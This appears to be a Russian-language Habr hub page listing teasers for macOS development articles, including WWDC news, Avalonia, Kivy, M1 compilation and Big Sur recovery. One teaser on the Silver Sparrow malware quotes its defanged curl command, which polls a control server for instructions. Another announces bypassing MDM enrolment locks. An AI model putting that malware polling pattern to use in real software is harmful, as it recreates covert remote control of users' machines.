Как стать автором
Обновить
2.69

Разработка под macOS *

Пишем под настольную ОС Apple

Сначала показывать
Порог рейтинга
Уровень сложности

Создаем установочные пакеты для macOS средствами системы

Время на прочтение3 мин
Количество просмотров7K

Как-то так вышло, что раньше я довольно скептически относился к macOS, поскольку не имел возможности поработать с ней в более-менее устоявшейся корпоративной среде (т.е. не когда на всю компанию в 500-600 человек есть 2 мака, и те у генерального с его замом, да еще и с виндой в буткемпе). Но несколько лет назад мне повезло познакомиться с очень масштабной гетерогенной средой, показавшей, что в современных компаниях macOS не только успешно сосуществует с привычной Windows, но иногда и превалирует над ней в общей доле клиентских машин.

Читать далее
Всего голосов 8: ↑8 и ↓0+8
Комментарии2

macOS 12 Monterey — новая ОС от Apple

Время на прочтение2 мин
Количество просмотров15K

7го июня компания Apple провела свою ежегодную конференцию для разработчиков - WWDC (Worldwide Developers Conference), на которой, помимо всего, была представлена новая версия macOS - Monterey. Спустя некоторое время стала доступна бета-версия, про которую, сегодня, и пойдет речь.

Читать далее
Всего голосов 42: ↑6 и ↓36-30
Комментарии7

Что ждать разработчику от WWDC 2021

Время на прочтение4 мин
Количество просмотров2.9K

Всем привет, с вами я, Анна Жаркова, ведущий разработчик компании Usetech.

Мы с нетерпением ждали новую сессию WWDC, особенно после прошлогодних изменений, и, наконец, дождались! Кого-то Keynote разочаровал, т.к люди ждали больше и большего в плане анонсов и возможностей. Но мы-то знаем, что у нас впереди целая неделя, и очень много интересных видео-сессий по новинкам в iOS и Swift, за которые можно простить Apple и недостатки Keynote.

Итак, давайте пройдемся по тому, что нас ожидает.

В принципе все сессии можно поделить на несколько групп:

Читать далее
Всего голосов 15: ↑13 и ↓2+11
Комментарии13

Пошаговый урок: как начать делать что угодно для Touch Bar

Время на прочтение4 мин
Количество просмотров4.6K

Я не Swift разработчик, и даже не objc. У меня просто был и есть Mac с навороченной вставкой в виде Touch Bar для которой захотелось сделать кастомизацию.

Эта статья покажет всем не iOS разработчикам как можно НАЧАТЬ создавать простые приложухи (развлекательного или полезного характера) для Touch Bar с самых первых этапов.

Притупим к делу:

Приступить к делу
Всего голосов 5: ↑5 и ↓0+5
Комментарии2

Истории

Люди подозревают, что технологии — отстой, потому что они на самом деле отстой

Время на прочтение3 мин
Количество просмотров45K
image

Джей Ситтер в своей статье "Люди подозревают, что технологии — отстой" пишет о людях, которые продолжают использовать технологии, несмотря на серьезные неприятности, такие как очень тусклый экран или постоянные всплывающие окна, и ничего не делают с этим. Он делает вывод:
Если бы мой экран был на 5% яркости или если бы я не мог использовать свой телефон, не нажимая «Отмена» каждые пять секунд, я бы тратил часы или дни на Google, пытаясь найти решение, если бы это было то, что мне нужно. То, что эти люди в основном просто мирились с проблемами, означает, что для них эти проблемы не могли быть заметно хуже, чем сама технология в своей основе.
Эти примеры немного экстремальны, но важно помнить, что они реальны. Это не преувеличение. Это происходило.

В обсуждениях в Твиттере люди продолжают отвечать, что этим пользователям следует:

  • сделать что-нибудь с этим,
  • искать замену,
  • или просто не делать ничего.

И я бы согласился: если бы это был единичный случай, конечно, надо было бы что-то с этим сделать! Дело в том, что это происходит постоянно, каждый день, несколько раз в день, и один человек может посвятить этому лишь определенное количество времени. Поток мелких неприятностей настолько велик, что люди просто устали иметь с ними дело! И нет, лучшей альтернативы нет.

Чтобы доказать свою точку зрения, я решил записывать каждое прерванное действие в течение одного дня. Вот полный список, который я написал вчера, 24 сентября 2020 года:
Всего голосов 108: ↑93 и ↓15+78
Комментарии492

Ядро macOS, есть ли червячки в этом яблоке?

Время на прочтение19 мин
Количество просмотров6.5K

0818_XNU_MacOS_Kernel_ru/image1.png


В самом начале этого года Apple выложили в открытый доступ исходный код системных компонентов macOS 11.0 – Big Sur, включая XNU – ядро операционной системы macOS. Пару лет назад исходный код ядра уже проверялся PVS-Studio в связи с выходом анализатора для macOS. Прошло достаточно много времени, и вышел новый релиз исходного кода ядра. Почему бы и не провести повторную проверку.

Читать дальше →
Всего голосов 13: ↑12 и ↓1+11
Комментарии2

Трепещущий Kivy. Обзор возможностей фреймворка Kivy и библиотеки KivyMD

Время на прочтение11 мин
Количество просмотров28K

Kivy и Flutter — два фреймворка с открытым исходным кодом для кроссплатформенной разработки.

Flutter:


  • создан компанией Google и выпущенный в 2017 году;

  • в качестве языка программирования использует Dart;

  • не использует нативные компоненты, рисуя весь интерфейс внутри собственного графического движка;

Kivy:


  • создан сообществом Kivy в 2010 году;

  • в качестве языка программирования использует Python и собственный декларативный язык для разметки UI элементов — KV Language;

  • не использует нативные компоненты, рисуя весь интерфейс с помощью OpenGL ES 2.0 и SDL2;

Недавно на просторах Ютуба наткнулся на видео демонстрацию Flutter приложения — Facebook Desktop Redesign built with Flutter Desktop. Отличное демонстрационное приложение в стиле material design! И поскольку я один из разработчиков библиотеки KivyMD (набор material компонентов для фреймворка Kivy) мне стало интересно, насколько просто будет сделать такой же красивый интерфейс. К счастью автор оставил ссылку на репозиторий проекта.
Всего голосов 8: ↑7 и ↓1+6
Комментарии31

На 30 тысячах компьютеров с macOS нашли странный зловред, который ждёт команду

Время на прочтение4 мин
Количество просмотров22K


Новая вредоносная программа Silver Sparrow («Серебряный воробей»), обнаруженная почти на 30 000 компьютерах Mac по всему миру, привлекла внимание специалистов по безопасности. Причин несколько. Во-первых, зловред поставляется в двух бинарниках, в том числе для процессора М1. Во-вторых, исследователи не могут понять цель злоумышленников.

Раз в час заражённые компьютеры проверяют контрольный сервер на предмет новых команд или двоичных файлов для выполнения:

curl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json > /tmp/version.json
plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist
Читать дальше →
Всего голосов 28: ↑25 и ↓3+22
Комментарии30

От WPF к Авалонии

Время на прочтение8 мин
Количество просмотров16K

WPF — любимый сообществом фреймворк для десктопной разработки, однако в то время как дотнет и вся его экосистема уже давно кроссплатформенные, WPF работает только под Windows. Сообщество решило эту проблему и теперь у нас есть Авалония — фреймворк, во многом очень похожий на WPF, но работающий на разных платформах. 

Под катом мы разберем отличия Авалонии от WPF. Что нужно знать людям, переходящим с WPF на Авалонию? В чем преимущества нового фреймворка, а в чем его недостатки по сравнению с WPF?

Читать далее
Всего голосов 29: ↑29 и ↓0+29
Комментарии20

Как продавать приложения для Mac за пределами App Store

Время на прочтение10 мин
Количество просмотров4.4K


Mac всегда отличался от своего близкого родственника iOS, особенно в отношении того, что пользователю можно и нельзя запускать в своей системе. Даже после появления Apple Silicon компания Apple чётко дала понять, что Mac остаётся Mac, и его по-прежнему можно хакать, даже при запуске на новой архитектуре.

Для программистов это значит, что при разработке для платформы Mac у нас есть выбор: мы можем распространять приложения независимо, за пределами Mac App Store, только через Mac App Store или сочетать оба варианта.

Данная статья стала результатом моих размышлений на эту тему. Она задумывалась как руководство по аспектам, которые нужно знать при распространении приложений для Mac за пределами App Store, а не как подробное описание конкретных действий. Надеюсь, что представленная здесь информация поможет новичкам снять завесу тайны с этого процесса, а описание моего собственного процесса будет полезно в качестве опорной точки.

App Store и прямое распространение: плюсы и минусы


Все эти варианты имеют свои достоинства и недостатки. Начнём с того, что некоторые приложения для Mac просто невозможно будет распространять через Mac App Store. Примером этого может послужить моё приложение AirBuddy, которому для обеспечения глубокой интеграции с беспроводными устройствами Apple необходимо запускать системный агент и использовать приватные API, что в App Store запрещено. То же самое относится и ко многим другим видам приложений, которые просто не смогут работать в условиях ограничений «песочницы» Mac.

Для тех же, у кого выбор есть, я составил список плюсов и минусов выпуска в Mac App Store или независимого распространения.
Читать дальше →
Всего голосов 23: ↑23 и ↓0+23
Комментарии0

Безопасный downgrade macOS Big Sur (без 1008F)

Время на прочтение3 мин
Количество просмотров15K

Недавно, я писал о том, как решить проблему с вечной ошибкой 1008F при попытке откатить macOS Big Sur до macOS Catalina через Internet Recovery. Как показал опрос, есть необходимость рассказать о том, как откатить macOS Big Sur без ошибки 1008F. Причин для отката может быть масса, и если вы обладатель одной из них то этот пост для вас. Главное помнить о том, что описанный ниже способ приведет к полному стиранию данных с вашего компьютера Mac. В моем случае для проведения downgrade использовался MacBook pro 2019 с чипом безопасности T2 и внешний USB - HDD.

Читать далее
Всего голосов 16: ↑16 и ↓0+16
Комментарии8

1008F — или как раскирпичить свой Mac

Время на прочтение4 мин
Количество просмотров38K

Всем привет! В этом посте речь пойдет о бесконечном режиме восстановления macOS, ошибках 1008F, 2003F, 2004F и о том как их побороть. 

Подобные ошибки можно встретить при попытке выполнить Internet Recovery своего Mac, а причин побуждающих к этому действию - множество. В моем случае, дело было так..

Читать далее
Всего голосов 43: ↑41 и ↓2+39
Комментарии18

Отключение профиля DEP и MDM на Mac OS Big Sur

Время на прочтение4 мин
Количество просмотров37K

Решение с обходом DEP и MDM блокировки на Mac OS Catalina достаточно простое и без труда находится в интернете. С Big Sur все намного сложнее. В новой операционной системе реализован новый механизм защиты целостности системы. Поэтому весь алгоритм действий усложнился.

Читать далее
Всего голосов 15: ↑13 и ↓2+11
Комментарии11

Ближайшие события

Конференция «Я.Железо»
Дата18 мая
Время14:00 – 23:59
Место
МоскваОнлайн
Антиконференция X5 Future Night
Дата30 мая
Время11:00 – 23:00
Место
Онлайн
Конференция «IT IS CONF 2024»
Дата20 июня
Время09:00 – 19:00
Место
Екатеринбург

Новые возможности Microsoft 365 для Mac

Время на прочтение1 мин
Количество просмотров2.2K


Недавно мы анонсировали ряд улучшений для Mac, в частности новые версии приложений Microsoft 365 для компьютеров Mac на базе процессора M1. Благодаря этому повысится производительность офисных приложений Microsoft на последних моделях MacBook Air, MacBook Pro и Mac mini. Новые приложения Office являются универсальными, поэтому также будут работать на компьютерах Mac на базе процессоров Intel. Интерфейс новых версий приложений оптимизирован в соответствии со стилем операционной системы macOS Big Sur.
Читать дальше →
Всего голосов 5: ↑5 и ↓0+5
Комментарии1

macOS и мистический minOS

Время на прочтение4 мин
Количество просмотров8.9K

После трёхлетнего перерыва актуальная версия sView стала снова доступна на macOS. Новый релиз обещал поддержку macOS 10.10+, но что-то пошло не так и несколько пользователей обратились со странной проблемой - системы macOS 10.13 и 10.14 отказались запускать приложение с сообщением о необходимости обновиться до macOS 10.15…

Сказать, что ошибка меня озадачила - сильно преуменьшить степень моего негодования, ведь магическая цифра 10.15 нигде не фигурировала ни в скриптах сборки, ни в ресурсах sView! Более того, приложение лично было проверено на более старой версии системы, а именно - на macOS 10.10.

Читать далее
Всего голосов 17: ↑17 и ↓0+17
Комментарии0

Переходим В OFFLINE FIRST с использованием Core Data и Managed Document(s)

Время на прочтение8 мин
Количество просмотров3.1K
Придя в компанию МегаФон как iOS-разработчик, Валентин Чернов попал в основной сегодняшний тренд — переход в офлайн: Валентин занимается разработкой мобильного личного кабинета — главного приложения МегаФона. Оно позволяет видеть баланс, менять тариф, подключать и отключать услуги и сервисы, участвовать в конкурсах и пользоваться персональными предложениями партнеров МегаФона.

МегаФон выбрал возможность работать при нестабильной связи как одну из важных точек роста. В России есть места, где связь временно отключается или надолго пропадает. И нужно, чтобы даже в этом случае приложение работало без сбоев.

О том, как эта задача выполнялась в течение последних пяти месяцев, как выбирали и воплощали архитектуру проекта, какие технологии использовались, а также чего достигли и что было запланировано на будущее, Валентин рассказал в докладе на Конференции разработчиков мобильных приложений Apps Live 2020.


Читать дальше →
Всего голосов 6: ↑5 и ↓1+4
Комментарии0

Компиляция C/C++ на Apple M1

Время на прочтение4 мин
Количество просмотров49K


Заинтригованный впечатляющими бенчмарками M1, я достал последний Mac Mini, чтобы замерить скорость компиляции на C/C++.

Измеряем локальный build2 (без репозитория пакетов), который включает преимущественно код на C++ (611 единиц трансляции) с некоторыми блоками на C (29) и связками между ними (19). Такой бенчмарк требует только компилятора C++ и входит в тестовый набор Phoronix, поэтому можно сравниться с большим количеством процессоров.

Бенчмарк Phoronix в настоящее время использует build2 0.12.0, у нас 0.13.0 (текущий релиз), здесь сборка выполняется примерно на 10% медленнее.
Читать дальше →
Всего голосов 81: ↑80 и ↓1+79
Комментарии163

Генерация типизированных ссылок на элементы управления Avalonia с атрибутом x:Name в XAML с помощью C# Source Generators

Время на прочтение17 мин
Количество просмотров6.5K



В апреле 2020-го года разработчиками платформы .NET 5 был анонсирован новый способ генерации исходного кода на языке программирования C# — с помощью реализации интерфейса ISourceGenerator. Данный способ позволяет разработчикам анализировать пользовательский код и создавать новые исходные файлы на этапе компиляции. При этом, API новых генераторов исходного кода схож с API анализаторов Roslyn. Генерировать код можно как с помощью Roslyn Compiler API, так и методом конкатенации обычных строк.


В данном материале рассмотрим процесс реализации ISourceGenerator для генерации типизированных ссылок на элементы управления AvaloniaUI, объявленные в XAML. В процессе разработки научим генератор компилировать XAML с помощью API компилятора XamlX, используемого в AvaloniaUI, и системы типов XamlX, реализованной поверх API семантической модели Roslyn.

Читать дальше →
Всего голосов 23: ↑23 и ↓0+23
Комментарии5

Авалония для самых маленьких

Время на прочтение8 мин
Количество просмотров27K
В свежем превью Rider, помимо прочего, появилась поддержка Авалонии. Авалония — это самый крупный .NET фреймворк для разработки кроссплатформенного UI, и его поддержка в IDE — отличный повод наконец разобраться, как писать десктопные приложения для любых платформ.

В этой статье я на примере простой задачи по реализации калькулятора покажу:

  • как управлять разметкой,
  • как связывать функциональность с компонентами,
  • как управлять стилями.


Читать дальше →
Всего голосов 43: ↑43 и ↓0+43
Комментарии34

Не могу открыть приложения на macOS. Почему подпись кода OCSP оказалась миной замедленного действия

Время на прочтение6 мин
Количество просмотров7.2K
Две недели назад пользователи macOS начали сообщать о странных зависаниях при открытии приложений, не загруженных из Mac App Store. Многие подозревали аппаратные проблемы со своими устройствами, но из социальных сетей они узнали, что это широко распространённая проблема. И не случайно она возникла вскоре после запуска macOS Big Sur.

В конце концов, твит Джеффа Джонсона точно указал основную причину. Оказалось, что эппловская служба “OCSP Responder” слишком перегружена, поэтому macOS не могла проверить криптографические сертификаты разработчиков приложений.

Всего голосов 13: ↑13 и ↓0+13
Комментарии5

Вклад авторов